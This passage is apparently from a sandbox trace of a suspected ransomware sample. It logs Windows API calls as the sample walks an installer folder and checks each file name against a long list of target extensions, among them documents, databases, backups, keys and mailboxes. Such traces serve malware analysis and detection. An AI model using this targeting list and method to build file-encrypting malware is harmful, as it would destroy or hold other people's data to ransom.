lpString2="ula.rtf") returned -1 [0099.558] lstrlenW (lpString=".onetoc2") returned 8 [0099.558] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0099.558] lstrlenW (lpString=".opt") returned 4 [0099.558] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0099.558] lstrlenW (lpString=".oqy") returned 4 [0099.558] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0099.558] lstrlenW (lpString=".orf") returned 4 [0099.558] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0099.558] lstrlenW (lpString=".p12") returned 4 [0099.558] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0099.558] lstrlenW (lpString=".p7b") returned 4 [0099.558] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0099.558] lstrlenW (lpString=".p7c") returned 4 [0099.558] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0099.558] lstrlenW (lpString=".pam") returned 4 [0099.558] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0099.558] lstrlenW (lpString=".pbm") returned 4 [0099.558] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0099.558] lstrlenW (lpString=".pct") returned 4 [0099.559] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0099.559] lstrlenW (lpString=".pcx") returned 4 [0099.559] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0099.559] lstrlenW (lpString=".pdd") returned 4 [0099.559] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0099.559] lstrlenW (lpString=".pdf") returned 4 [0099.559] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0099.559] lstrlenW (lpString=".pdp") returned 4 [0099.559] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0099.559] lstrlenW (lpString=".pef") returned 4 [0099.559] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0099.559] lstrlenW (lpString=".pem") returned 4 [0099.559] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0099.559] lstrlenW (lpString=".pff") returned 4 [0099.559] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0099.559] lstrlenW (lpString=".pfm") returned 4 [0099.559] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0099.559] lstrlenW (lpString=".pfx") returned 4 [0099.559] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0099.559] lstrlenW (lpString=".pgm") returned 4 [0099.559] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0099.559] lstrlenW (lpString=".php") returned 4 [0099.559] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0099.559] lstrlenW (lpString=".php3") returned 5 [0099.559] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0099.559] lstrlenW (lpString=".php4") returned 5 [0099.559] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0099.559] lstrlenW (lpString=".php5") returned 5 [0099.559] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0099.559] lstrlenW (lpString=".phtml") returned 6 [0099.559] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0099.559] lstrlenW (lpString=".pict") returned 5 [0099.559] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0099.559] lstrlenW (lpString=".pl") returned 3 [0099.560] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0099.560] lstrlenW (lpString=".pls") returned 4 [0099.560] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0099.560] lstrlenW (lpString=".pm") returned 3 [0099.560] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0099.560] lstrlenW (lpString=".png") returned 4 [0099.560] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0099.560] lstrlenW (lpString=".pnm") returned 4 [0099.560] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0099.560] lstrlenW (lpString=".pot") returned 4 [0099.560] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0099.560] lstrlenW (lpString=".potm") returned 5 [0099.560] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0099.560] lstrlenW (lpString=".potx") returned 5 [0099.560] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0099.560] lstrlenW (lpString=".ppa") returned 4 [0099.560] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0099.560] lstrlenW (lpString=".ppam") returned 5 [0099.560] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0099.560] lstrlenW (lpString=".ppm") returned 4 [0099.560] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0099.560] lstrlenW (lpString=".pps") returned 4 [0099.560] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0099.560] lstrlenW (lpString=".ppsm") returned 5 [0099.560] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0099.560] lstrlenW (lpString=".ppt") returned 4 [0099.560] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0099.560] lstrlenW (lpString=".pptm") returned 5 [0099.560] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0099.560] lstrlenW (lpString=".pptx") returned 5 [0099.560] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0099.560] lstrlenW (lpString=".prn") returned 4 [0099.561] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0099.561] lstrlenW (lpString=".ps") returned 3 [0099.561] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0099.561] lstrlenW (lpString=".psb") returned 4 [0099.561] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0099.561] lstrlenW (lpString=".psd") returned 4 [0099.561] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0099.561] lstrlenW (lpString=".pst") returned 4 [0099.561] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0099.561] lstrlenW (lpString=".ptx") returned 4 [0099.561] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0099.561] lstrlenW (lpString=".pub") returned 4 [0099.561] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0099.561] lstrlenW (lpString=".pwm") returned 4 [0099.561] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0099.561] lstrlenW (lpString=".pxr") returned 4 [0099.561] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0099.561] lstrlenW (lpString=".py") returned 3 [0099.561] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0099.561] lstrlenW (lpString=".qt") returned 3 [0099.561] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0099.561] lstrlenW (lpString=".r3d") returned 4 [0099.561] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0099.561] lstrlenW (lpString=".raf") returned 4 [0099.561] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0099.561] lstrlenW (lpString=".rar") returned 4 [0099.561] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0099.561] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0099.562] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0099.562] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0099.562] FindClose (in: hFindFile=0x3e50840 | out: hFindFile=0x3e50840) returned 1 [0099.562] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0099.562] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1042", cAlternateFileName="")) returned 1 [0099.562] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0099.562] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042") returned 26 [0099.562] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e500c0 [0099.563] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.563] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x318f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0099.563] lstrlenW (lpString="eula.rtf") returned 8 [0099.563] lstrlenW (lpString=".1cd") returned 4 [0099.563] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0099.563] lstrlenW (lpString=".3ds") returned 4 [0099.563] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0099.563] lstrlenW (lpString=".3fr") returned 4 [0099.563] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0099.563] lstrlenW (lpString=".3g2") returned 4 [0099.563] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0099.563] lstrlenW (lpString=".3gp") returned 4 [0099.563] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0099.563] lstrlenW (lpString=".7z") returned 3 [0099.563] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0099.563] lstrlenW (lpString=".accda") returned 6 [0099.563] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0099.563] lstrlenW (lpString=".accdb") returned 6 [0099.563] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0099.563] lstrlenW (lpString=".accdc") returned 6 [0099.563] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0099.563] lstrlenW (lpString=".accde") returned 6 [0099.563] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0099.563] lstrlenW (lpString=".accdt") returned 6 [0099.564] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0099.564] lstrlenW (lpString=".accdw") returned 6 [0099.564] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0099.564] lstrlenW (lpString=".adb") returned 4 [0099.564] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0099.564] lstrlenW (lpString=".adp") returned 4 [0099.564] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0099.564] lstrlenW (lpString=".ai") returned 3 [0099.564] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0099.564] lstrlenW (lpString=".ai3") returned 4 [0099.564] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0099.564] lstrlenW (lpString=".ai4") returned 4 [0099.564] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0099.564] lstrlenW (lpString=".ai5") returned 4 [0099.564] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0099.564] lstrlenW (lpString=".ai6") returned 4 [0099.564] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0099.564] lstrlenW (lpString=".ai7") returned 4 [0099.564] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0099.564] lstrlenW (lpString=".ai8") returned 4 [0099.564] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0099.564] lstrlenW (lpString=".anim") returned 5 [0099.564] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0099.564] lstrlenW (lpString=".arw") returned 4 [0099.564] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0099.564] lstrlenW (lpString=".as") returned 3 [0099.564] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0099.564] lstrlenW (lpString=".asa") returned 4 [0099.564] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0099.564] lstrlenW (lpString=".asc") returned 4 [0099.564] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0099.564] lstrlenW (lpString=".ascx") returned 5 [0099.564] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0099.564] lstrlenW (lpString=".asm") returned 4 [0099.565] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0099.565] lstrlenW (lpString=".asmx") returned 5 [0099.565] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0099.565] lstrlenW (lpString=".asp") returned 4 [0099.565] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0099.565] lstrlenW (lpString=".aspx") returned 5 [0099.565] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0099.565] lstrlenW (lpString=".asr") returned 4 [0099.565] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0099.565] lstrlenW (lpString=".asx") returned 4 [0099.565] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0099.565] lstrlenW (lpString=".avi") returned 4 [0099.565] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0099.565] lstrlenW (lpString=".avs") returned 4 [0099.565] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0099.565] lstrlenW (lpString=".backup") returned 7 [0099.565] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0099.565] lstrlenW (lpString=".bak") returned 4 [0099.565] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0099.565] lstrlenW (lpString=".bay") returned 4 [0099.565] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0099.565] lstrlenW (lpString=".bd") returned 3 [0099.565] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0099.565] lstrlenW (lpString=".bin") returned 4 [0099.565] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0099.565] lstrlenW (lpString=".bmp") returned 4 [0099.565] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0099.565] lstrlenW (lpString=".bz2") returned 4 [0099.565] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0099.565] lstrlenW (lpString=".c") returned 2 [0099.565] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0099.565] lstrlenW (lpString=".cdr") returned 4 [0099.565] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0099.565] lstrlenW (lpString=".cer") returned 4 [0099.565] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0099.566] lstrlenW (lpString=".cf") returned 3 [0099.566] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0099.566] lstrlenW (lpString=".cfc") returned 4 [0099.566] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0099.566] lstrlenW (lpString=".cfm") returned 4 [0099.566] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0099.566] lstrlenW (lpString=".cfml") returned 5 [0099.566] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0099.566] lstrlenW (lpString=".cfu") returned 4 [0099.566] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0099.566] lstrlenW (lpString=".chm") returned 4 [0099.566] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0099.566] lstrlenW (lpString=".cin") returned 4 [0099.566] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0099.566] lstrlenW (lpString=".class") returned 6 [0099.566] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0099.566] lstrlenW (lpString=".clx") returned 4 [0099.566] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0099.566] lstrlenW (lpString=".config") returned 7 [0099.566] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0099.566] lstrlenW (lpString=".cpp") returned 4 [0099.566] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0099.566] lstrlenW (lpString=".cr2") returned 4 [0099.566] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0099.566] lstrlenW (lpString=".crt") returned 4 [0099.566] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0099.566] lstrlenW (lpString=".crw") returned 4 [0099.566] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0099.566] lstrlenW (lpString=".cs") returned 3 [0099.566] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0099.566] lstrlenW (lpString=".css") returned 4 [0099.566] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0099.567] lstrlenW (lpString=".csv") returned 4 [0099.567] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0099.567] lstrlenW (lpString=".cub") returned 4 [0099.567] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0099.567] lstrlenW (lpString=".dae") returned 4 [0099.567] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0099.567] lstrlenW (lpString=".dat") returned 4 [0099.567] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0099.567] lstrlenW (lpString=".db") returned 3 [0099.567] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0099.567] lstrlenW (lpString=".dbf") returned 4 [0099.567] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0099.567] lstrlenW (lpString=".dbx") returned 4 [0099.567] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0099.567] lstrlenW (lpString=".dc3") returned 4 [0099.567] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0099.567] lstrlenW (lpString=".dcm") returned 4 [0099.567] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0099.567] lstrlenW (lpString=".dcr") returned 4 [0099.567] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0099.567] lstrlenW (lpString=".der") returned 4 [0099.567] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0099.567] lstrlenW (lpString=".dib") returned 4 [0099.567] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0099.567] lstrlenW (lpString=".dic") returned 4 [0099.567] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0099.567] lstrlenW (lpString=".dif") returned 4 [0099.567] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0099.567] lstrlenW (lpString=".divx") returned 5 [0099.567] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0099.567] lstrlenW (lpString=".djvu") returned 5 [0099.567] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0099.567] lstrlenW (lpString=".dng") returned 4 [0099.567] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0099.567] lstrlenW (lpString=".doc") returned 4 [0099.568] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0099.568] lstrlenW (lpString=".docm") returned 5 [0099.568] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0099.568] lstrlenW (lpString=".docx") returned 5 [0099.568] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0099.568] lstrlenW (lpString=".dot") returned 4 [0099.568] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0099.568] lstrlenW (lpString=".dotm") returned 5 [0099.568] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0099.568] lstrlenW (lpString=".dotx") returned 5 [0099.568] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0099.568] lstrlenW (lpString=".dpx") returned 4 [0099.568] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0099.568] lstrlenW (lpString=".dqy") returned 4 [0099.568] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0099.568] lstrlenW (lpString=".dsn") returned 4 [0099.568] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0099.568] lstrlenW (lpString=".dt") returned 3 [0099.568] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0099.568] lstrlenW (lpString=".dtd") returned 4 [0099.568] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0099.568] lstrlenW (lpString=".dwg") returned 4 [0099.568] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0099.568] lstrlenW (lpString=".dwt") returned 4 [0099.568] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0099.568] lstrlenW (lpString=".dx") returned 3 [0099.568] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0099.568] lstrlenW (lpString=".dxf") returned 4 [0099.568] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0099.568] lstrlenW (lpString=".edml") returned 5 [0099.568] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0099.568] lstrlenW (lpString=".efd") returned 4 [0099.568] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0099.568] lstrlenW (lpString=".elf") returned 4 [0099.569] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0099.569] lstrlenW (lpString=".emf") returned 4 [0099.569] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0099.569] lstrlenW (lpString=".emz") returned 4 [0099.569] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0099.569] lstrlenW (lpString=".epf") returned 4 [0099.569] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0099.569] lstrlenW (lpString=".eps") returned 4 [0099.569] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0099.569] lstrlenW (lpString=".epsf") returned 5 [0099.569] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0099.569] lstrlenW (lpString=".epsp") returned 5 [0099.569] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0099.569] lstrlenW (lpString=".erf") returned 4 [0099.569] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0099.569] lstrlenW (lpString=".exr") returned 4 [0099.569] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0099.569] lstrlenW (lpString=".f4v") returned 4 [0099.569] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0099.569] lstrlenW (lpString=".fido") returned 5 [0099.569] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0099.569] lstrlenW (lpString=".flm") returned 4 [0099.569] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0099.569] lstrlenW (lpString=".flv") returned 4 [0099.569] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0099.569] lstrlenW (lpString=".frm") returned 4 [0099.569] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0099.569] lstrlenW (lpString=".fxg") returned 4 [0099.569] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0099.569] lstrlenW (lpString=".geo") returned 4 [0099.569] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0099.569] lstrlenW (lpString=".gif") returned 4 [0099.569] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0099.569] lstrlenW (lpString=".grs") returned 4 [0099.569] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0099.570] lstrlenW (lpString=".gz") returned 3 [0099.570] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0099.570] lstrlenW (lpString=".h") returned 2 [0099.570] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0099.570] lstrlenW (lpString=".hdr") returned 4 [0099.570] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0099.570] lstrlenW (lpString=".hpp") returned 4 [0099.570] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0099.570] lstrlenW (lpString=".hta") returned 4 [0099.570] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0099.570] lstrlenW (lpString=".htc") returned 4 [0099.570] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0099.570] lstrlenW (lpString=".htm") returned 4 [0099.570] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0099.570] lstrlenW (lpString=".html") returned 5 [0099.570] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0099.570] lstrlenW (lpString=".icb") returned 4 [0099.570] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0099.570] lstrlenW (lpString=".ics") returned 4 [0099.570] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0099.570] lstrlenW (lpString=".iff") returned 4 [0099.570] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0099.570] lstrlenW (lpString=".inc") returned 4 [0099.570] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0099.570] lstrlenW (lpString=".indd") returned 5 [0099.570] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0099.570] lstrlenW (lpString=".ini") returned 4 [0099.570] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0099.570] lstrlenW (lpString=".iqy") returned 4 [0099.570] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0099.570] lstrlenW (lpString=".j2c") returned 4 [0099.570] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0099.570] lstrlenW (lpString=".j2k") returned 4 [0099.570] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0099.570] lstrlenW (lpString=".java") returned 5 [0099.571] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0099.571] lstrlenW (lpString=".jp2") returned 4 [0099.571] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0099.571] lstrlenW (lpString=".jpc") returned 4 [0099.571] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0099.571] lstrlenW (lpString=".jpe") returned 4 